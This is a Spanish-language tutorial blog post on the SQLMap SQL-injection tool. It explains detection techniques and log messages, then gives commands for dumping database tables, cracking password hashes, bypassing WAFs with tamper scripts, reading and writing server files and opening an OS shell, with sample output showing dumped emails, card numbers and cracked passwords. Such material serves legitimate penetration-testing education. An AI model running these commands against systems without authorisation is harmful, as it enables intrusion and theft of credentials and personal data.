ICM / seguridad / Herramientas de auditoría de SQL Injection. SQLmap

Herramientas de auditoría de SQL Injection. SQLmap

16 diciembre 2022 | Pau Ciernes

Descripción de la herramienta 

SQLMap es una herramienta de código abierto hecha en Python que automatiza la detección y explotación de inyecciones SQL. Sigue actualizándose y siendo mantenida por la comunidad y se puede encontrar en este repositorio de GitHub 

Funciones 

  • Explotación y detección de SQLi: 
    • Error-based 
    • Boolean-based blind 
    • Union query-based 
    • Stacked queries 
    • Time-based blind 
  • Inline queries 
  • Error based 
  • Bypass de sistemas de protección como WAFs 
  • Enumeración y lectura/escritura de la BBDD 
  • Ejecución de comandos de sistema
  • Fingerprinting 

Comprendiendo los mensajes de log 

Si bien SQLMap es una herramienta automatizada que puede llegar a fallar con los parámetros por defecto incluso si existe una inyección, nos puede ayudar a encontrarla manualmente u optimizar los argumentos comprendemos los mensajes de log. Nunca hay que perder de vista que la explotación manual suele ser más lenta pero mucho más efectiva si se tiene la información necesaria, ya que se puede adaptar al objetivo y entorno en concreto. 

Además, es importante entender los mensajes de log para poder usar correctamente la herramienta, algunos de los más destacados son:

  • "POST parameter 'username' appears to be dynamic"
    Nos indica que los cambios aplicados a este parámetro cambian la respuesta, si fuera estático significaría que el parámetro no está siendo procesado por el objetivo
  • "heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'MySQL')"
    Indica que el parámetro puede ser inyectable, este mensaje es resultado de enviar peticiones invalidas como ?username=admin»,)..).))’ y que la base de datos devuelva error, no significa que el parámetro sea inyectable, pero es un indicativo de que se ha interpretado algo que no se esperaba la BBDD. 
  • "heuristic (XSS) test shows that POST parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks"
    Aunque no sea su función principal nos avisara si detecta un XSS
  • "it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]"
    Si detecta que Base de Datos utiliza (MySQL, MariaDB, Postgre etc..) aplicara payloads específicas para esta optimizando así el ataque. 
  • "for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]”
    Nos pregunta básicamente si queremos lanzar todas las payloads para este producto de base de datos, no solo las más comunes. 
  • "POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable"
    Parece que el parámetro es inyectable y a qué tipo de inyección, aún hay posibilidades de que sea un falso positivo, SQLMap realizara tests extensivos al final para comprobarlo. 
  • "POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]"
    Determina que el parámetro es inyectable y pregunta si es necesario testear más parámetros si los hay. 

Uso 

Podemos pasar parámetros de las peticiones HTTP que necesitemos de las siguientes maneras: 

Argumento Descripción 
–method= Especifica que petición hacer: GET/POST/PUT… 
-r req.txt Podemos como petición un request file que podríamos generar con BurpSuite o Postman 
–cookie=’PHPSESSID=XXXXXXX’ Especifica la cookie a cookie 
-H «X-Forwarded-For: 127.0.0.1» Especifica cabeceras 

TIP: En el apartado de Network de la consola del navegador tenemos la opción de copiar una petición en formato curl, de manera que tan sólo tenemos que cambiar ‘curl’ por ‘sqlmap’ y lanzaríamos el programa con todas las cabeceras y parámetros de esa petición HTTP. 

Enumeración BBDD 

Argumento Descripción 
sqlmap -u «http://www.example.com/?id=1» –dump -T users -D testdb -C name,surname Dumpea la tabla users con las columnas name,surname 
sqlmap -u «http://www.example.com/?id=1″ –dump -T users -D testdb –where=»name LIKE ‘f%'» Dumpeo filtrando con un where 
sqlmap -u «http://www.example.com/?id=1» –passwords –batch Busca contraseñas y las intenta crakear, batch indica que no necesita input del usuario 

Podemos buscar con –search junto con -T para tablas y -C para columnas para buscar ocurrencias en las diferentes BD: 

sqlmap -u "http://www.example.com/?id=1" --search -C pass
columns LIKE 'pass' were found in the following databases: 
Database: master 
Table: users 
[1 column] 
+----------+--------------+ 
| Column   | Type         | 
+----------+--------------+ 
| password | varchar(512) | 
+----------+--------------+ 
 
Database: mysql 
Table: user 
[1 column] 
+----------+----------+ 
| Column   | Type     | 
+----------+----------+ 
| Password | char(41) | 
+----------+----------+ 
 
Database: wp-example 
Table: user 
[1 column] 
+----------+----------+ 
| Column   | Type     | 
+----------+----------+ 
| Password | char(64) | 
+----------+----------+ 

Si identificamos una tabla que queremos dumpear lo podemos hacer con -D <nombre DB> -T <nombre tabla> 

Si SQLMap detecta hashes de contraseñas intentara crackearlos con la wordlist que indiquemos. 

sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users 

[INFO] fetching columns for table 'users' in database 'master' 
[INFO] fetching entries for table 'users' in database 'master' 
[INFO] recognized possible password hashes in column 'password' 
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N 

do you want to crack them via a dictionary-based attack? [Y/n/q] Y 

[INFO] using hash method 'sha1_generic_passwd' 
what dictionary do you want to use? 
[1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter) 
[2] custom dictionary file 
[3] file with list of dictionary files 
> 1 
[INFO] using default dictionary 
do you want to use common password suffixes? (slow!) [y/N] N 

[INFO] starting dictionary-based cracking (sha1_generic_passwd) 
[INFO] starting 8 processes  
[INFO] cracked password 'pasword123' for hash 'cbfdac6008f9cab4083784cbd1874f76618d2a97'                                                                                                          
[INFO] cracked password 'iloveyou' for hash 'ee8d8728f435fd550f83852aabab5234ce1da528' 
... 

Table: users 
[2 entries] 

| id | cc               | name       | email                  | password 
| 1  | 5387278172507117 | user1      | user1@mail.com       | cbfdac6008f9cab4083784cbd1874f76618d2a97 (pasword123) 
| 2  | 4539475107874477 | user2      | user2@mail.com       | ee8d8728f435fd550f83852aabab5234ce1da528 (iloveyou) 

Bypass de sistemas de protección con Tamper Scripts 

El mecanismo más popular de SQLMap es el uso de tamper scripts para saltarnos soluciones WAF/IPS. Los tamper scripts son scripts de Python que modifican la peticiona antes de ser enviada al objetivo. Por ejemplo el tamper script ‘between’ substituye ‘>’ por ‘NOT BETWEEN 0 AND #’ y también ‘=’ por ‘BETWEEN # AND #’. 

Podemos encadenar distintos scripts de la siguiente manera:–tamper=between,randomcase 

Podemos listar todos los scripts con –list-tampers 

Probando con diferentes scripts podemos llegar a saltarnos el WAF 

Explotación SO 

SQLMap puede intentar darnos ejecución remota de comandos si tenemos lis privilegios necesarios. 

Podemos comprobar si los tenemos añadiendo –is-dba. Si devuelve “True” podemos usar –file-read <path> para descargar archivos del sistema: 

Escribir archivos esta mucho mas restringido en bases de datos modernas pero podemos probar a escribir con –file-write <path local> –file-dest <path remoto> 

SQLMap nos puede proporcionar una consola con –os-shell, puede fallar dependiendo de la inyección que estemos usando podemos forzar un tipo de inyección y probar de nuevo con -technique